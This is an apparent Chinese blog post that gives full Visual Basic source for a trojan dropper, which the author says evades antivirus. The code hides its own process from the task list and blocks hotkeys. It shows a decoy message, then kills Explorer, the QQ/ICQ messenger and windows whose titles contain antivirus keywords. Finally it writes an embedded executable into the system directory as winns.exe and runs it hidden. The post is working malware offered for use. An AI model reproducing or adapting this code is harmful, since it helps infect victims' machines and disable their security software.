使用 VB 开发的木马捆绑程序源代码。

阳光穿透心脏的1/2处 2022-08-06 11:28 197阅读 0赞

这是很久以前回答人家一道关于使用 VB 捆绑木马的问题，有些 API 只可用于 Win9x，回复如下： 其实不需要记录文件的大小，我为了方便，直接用捆绑工具把我的程序与木马合并在一起，结果被杀毒软件给查出来了，后来我就想到把木马放到资源文件中，待程序运行时先把杀毒软件的进程给KILL掉，然后再把它释放出来，效果很好，并且杀毒软件也查不到，以下是我的程序源代码。里面还有很多与它不相关的代码，我是用来杀进程的，GetDesktopWindows 可以用 EnumWindows 完全代替，代码也可以减少很多。

Option Explicit
    
    Dim wndNum As Long          '保存所有窗体数量
    Dim lpWnd(128) As String    '存放所有窗体标题数组
    
    '设置进程优先级
    Private Declare Function SetPriorityClass Lib _
        "kernel32" ( _
        ByVal hProcess As Long, _
        ByVal dwPriorityClass As Long _
        ) As Long
    
    '获取当前进程
    Private Declare Function GetCurrentProcess Lib _
        "kernel32" () As Long
    
    '最低优先级，表明在计算机空闲时运行
    Private Const IDLE_PRIORITY_CLASS = &H40
    
    '将进程注册为服务，Windows 2000 系统不可用
    Private Declare Function RegisterServiceProcess Lib _
        "kernel32" ( _
        ByVal hProcess As Long, _
        ByVal uFlags As Long _
        ) As Long
    
    '获取当前进程 ID
    Private Declare Function GetCurrentProcessId Lib _
        "kernel32" () As Long
    
    '在此程序中用来屏蔽热键
    Private Declare Function SystemParametersInfo Lib _
        "User32" Alias "SystemParametersInfoA" ( _
        ByVal uAction As Long, _
        ByVal uParam As Long, _
        ByRef lpvParam As Any, _
        ByVal fuWinIni As Long _
        ) As Long
    
    '屏蔽热键，对于 Windows 2000 系统无效
    Private Const SPI_SCREENSAVERRUNNING = 97
    
    '将窗体设为顶层
    Private Declare Function SetWindowPos Lib _
        "User32" ( _
        ByVal hwnd As Long, _
        ByVal hWndInsertAfter As Long, _
        ByVal x As Long, _
        ByVal y As Long, _
        ByVal cx As Long, _
        ByVal cy As Long, _
        ByVal wFlags As Long _
        ) As Long
    
    '将窗体设为最前
    Private Const HWND_TOPMOST = -1
    
    '获取桌面句柄
    Private Declare Function GetDesktopWindow Lib _
        "User32" () As Long
    
    '获取窗体句柄
    Private Declare Function GetWindow Lib _
        "User32" ( _
        ByVal hwnd As Long, _
        ByVal wCmd As Long _
        ) As Long
    
    '获取子窗体句柄
    Private Const GW_CHILD = 5
    
    '获取下一个窗体句柄
    Private Const GW_HWNDNEXT = 2
    
    '获取窗体标题
    Private Declare Function GetWindowText Lib _
        "User32" Alias "GetWindowTextA" ( _
        ByVal hwnd As Long, _
        ByVal lpString As String, _
        ByVal cch As Long _
        ) As Long
        
    '发送消息，用来关闭指定程序，比如杀毒，网管
    Private Declare Function PostMessage Lib _
        "User32" Alias "PostMessageA" ( _
        ByVal hwnd As Long, _
        ByVal wMsg As Long, _
        ByVal wParam As Long, _
        ByVal lParam As Long _
        ) As Long
        
    '关闭程序
    Private Const WM_CLOSE = &H10
    
    '退出程序
    Private Const WM_QUIT = &H12
    
    '查找窗体
    Private Declare Function FindWindow Lib _
        "User32" Alias "FindWindowA" ( _
        ByVal lpClassName As String, _
        ByVal lpWindowName As String _
        ) As Long
        
    '获取类名
    Private Declare Function GetClassName Lib _
        "User32" Alias "GetClassNameA" ( _
        ByVal hwnd As Long, _
        ByVal lpClassName As String, _
        ByVal nMaxCount As Long _
        ) As Long
    
    '延时以确保程序已关闭
    Private Declare Sub Sleep Lib _
        "kernel32" ( _
        ByVal dwMilliseconds As Long _
        )
        
    '获得 Windows 系统目录
    Private Declare Function GetSystemDirectory Lib _
        "kernel32" Alias "GetSystemDirectoryA" ( _
        ByVal lpBuffer As String, _
        ByVal nSize As Long _
        ) As Long
    
    '销毁窗体，释放内存
    Private Declare Function DestroyWindow Lib _
        "User32" ( _
        ByVal hwnd As Long _
        ) As Long
        
    '销毁句柄，释放内存
    Private Declare Function CloseHandle Lib _
        "kernel32" ( _
        ByVal hObject As Long _
        ) As Long
    
    '枚举窗体
    Private Declare Function EnumWindows Lib _
        "User32" ( _
        ByVal lpEnumFunc As Long, _
        ByVal lParam As Long _
        ) As Long
    
    Private Sub Form_Load()
    
        '只运行应用程序的一个实例
        If App.PrevInstance = True Then End
    
        '将窗体设为顶层
        SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, 0
    
        '给使用者一个提示
        MsgBox "该程序运行于全屏模式，请关闭所有程序以" & _
            "获得最佳效果！", vbInformation Or vbSystemModal
    
        '取消热键
        SystemParametersInfo SPI_SCREENSAVERRUNNING, _
            True, 0, 0
    
        '将图片居中
        img.Move (Screen.Width - img.Width) / 2, _
            (Screen.Height - img.Height) / 2
        fra(0).Move img.Left - fra(0).Width - 600
        fra(1).Move img.Left + img.Width + 600
    
        '获取进程，并将它的优先级别设为空闲
        SetPriorityClass GetCurrentProcess, _
            IDLE_PRIORITY_CLASS
    
        '获取进程ID，并将它注册为服务类型，因此在按下 _
            Ctrl+Alt+Del 后该进程将变为不可见，该方法 _
            还可以直接用 app.TaskVisible=False 实现， _
            但效果不佳，注意，该 API 不支持 Win2000 系统
        RegisterServiceProcess GetCurrentProcessId, 1
    
        '刷新一下进程
        RefreshProcess
    
        '杀掉浏览器
        Do While KillProcess("Explorer") <> 0
        Loop
    
        '杀掉文件夹或 Internet Explorer 浏览器
        Do While KillProcess("WClass", True) <> 0
        Loop
        Do While KillProcess("SystemTr", True) <> 0
        Loop
    
        '杀掉 Oicq
        Do While KillProcess("icq") <> 0
        Loop
    
        '杀掉毒霸之类的杀毒软件
        Do While KillProcess("毒") <> 0
        Loop
    
        Do While KillProcess("霸") <> 0
        Loop
    
        '释放资源文件中的可执行文件
        WriteExe
    
    End Sub
    
    '刷新所有进程
    Private Sub RefreshProcess()
    
        Dim retWnd As Long             '窗体句柄
        Dim dskWnd As Long             '桌面句柄
        Dim lpTitle As String * 128    '窗体标题
    
        '清除数组中保留的窗体名称
        For wndNum = LBound(lpWnd) To UBound(lpWnd)
            lpWnd(wndNum) = ""
        Next wndNum
    
        '初始化窗体数目
        wndNum = 0
    
        '获取桌面句柄
        dskWnd = GetDesktopWindow()
        
        '获取桌面子窗体
        retWnd = GetWindow(dskWnd, GW_CHILD)
    
        '列举所有窗体
        Do While retWnd <> 0
        
            '获得窗体标题
            GetWindowText retWnd, lpTitle, Len(lpTitle)
            
            '将标题保存到数组
            If Left(lpTitle, 1) <> vbNullChar Then
                lpWnd(wndNum) = Left(lpTitle, InStr(1, _
                    lpTitle, vbNullChar) - 1)
                    
                wndNum = wndNum + 1
            End If
            
            '获取下一个窗体
            retWnd = GetWindow(retWnd, GW_HWNDNEXT)
            
        Loop
    
    End Sub
    
    '将含有指定关键字的进程关闭
    Private Function KillProcess(KeyWord As String, _
        Optional IsClass As Boolean = False) As Long
        
        Dim lpClassName As String * 128
        Dim ClassName As String
        Dim fndWnd As Long
        Dim wndHdc As Long
    
        KillProcess = 0
    
        For fndWnd = 0 To wndNum
        
            '判断查找的是否为类的关键字
            If IsClass = True Then
        
                '获得窗体句柄
                wndHdc = FindWindow(vbNullString, _
                    lpWnd(fndWnd))
        
                '获取类名到缓冲区
                GetClassName wndHdc, lpClassName, _
                    Len(lpClassName)
                
                '解析出类名
                ClassName = Left(lpClassName, InStr(1, _
                    lpClassName, vbNullChar) - 1)
    
                '找到后将它关闭，有时只使用 WM_QUIT 不能 _
                    完成任务，使用 WM_CLOSE 再试一次
                If InStr(1, ClassName, KeyWord) > 0 Then
                    wndHdc = FindWindow(ClassName, _
                        vbNullString)
                    KillProcess = KillProcess + 1
                    QuitDestroy wndHdc
                End If
        
            '查找标题带有关键字的窗体
            ElseIf InStr(1, lpWnd(fndWnd), KeyWord) > 0 Then
                wndHdc = FindWindow(vbNullString, _
                    lpWnd(fndWnd))
                KillProcess = KillProcess + 1
                QuitDestroy wndHdc
            End If
        Next fndWnd
    End Function
    
    Private Sub WriteExe()
    
        Dim exeData() As Byte
        Dim fileNum As Long
        Dim SysDir As String * 128
    
        GetSystemDirectory SysDir, Len(SysDir)
    
        exeData = LoadResData("LOVEME", "Execute")
    
        fileNum = FreeFile()
    
        Open Left(SysDir, InStr(1, SysDir, vbNullChar) _
            - 1) & "/winns.exe" For Binary As #fileNum
    
        Put #fileNum, , exeData
        Close #fileNum
    
        Shell Left(SysDir, InStr(1, SysDir, vbNullChar) _
            - 1) & "/winns.exe", vbHide
    
    End Sub
    
    Private Sub QuitDestroy(wnd As Long)
        PostMessage wnd, WM_QUIT, 0, 0
        PostMessage wnd, WM_CLOSE, 0, 0
        DestroyWindow wnd
        CloseHandle wnd
        '再次刷新一下进程，这一点非常有必要， _
           目的是判断相关线程是否存在，否则程 _
           序会将自己杀死
        RefreshProcess
    End Sub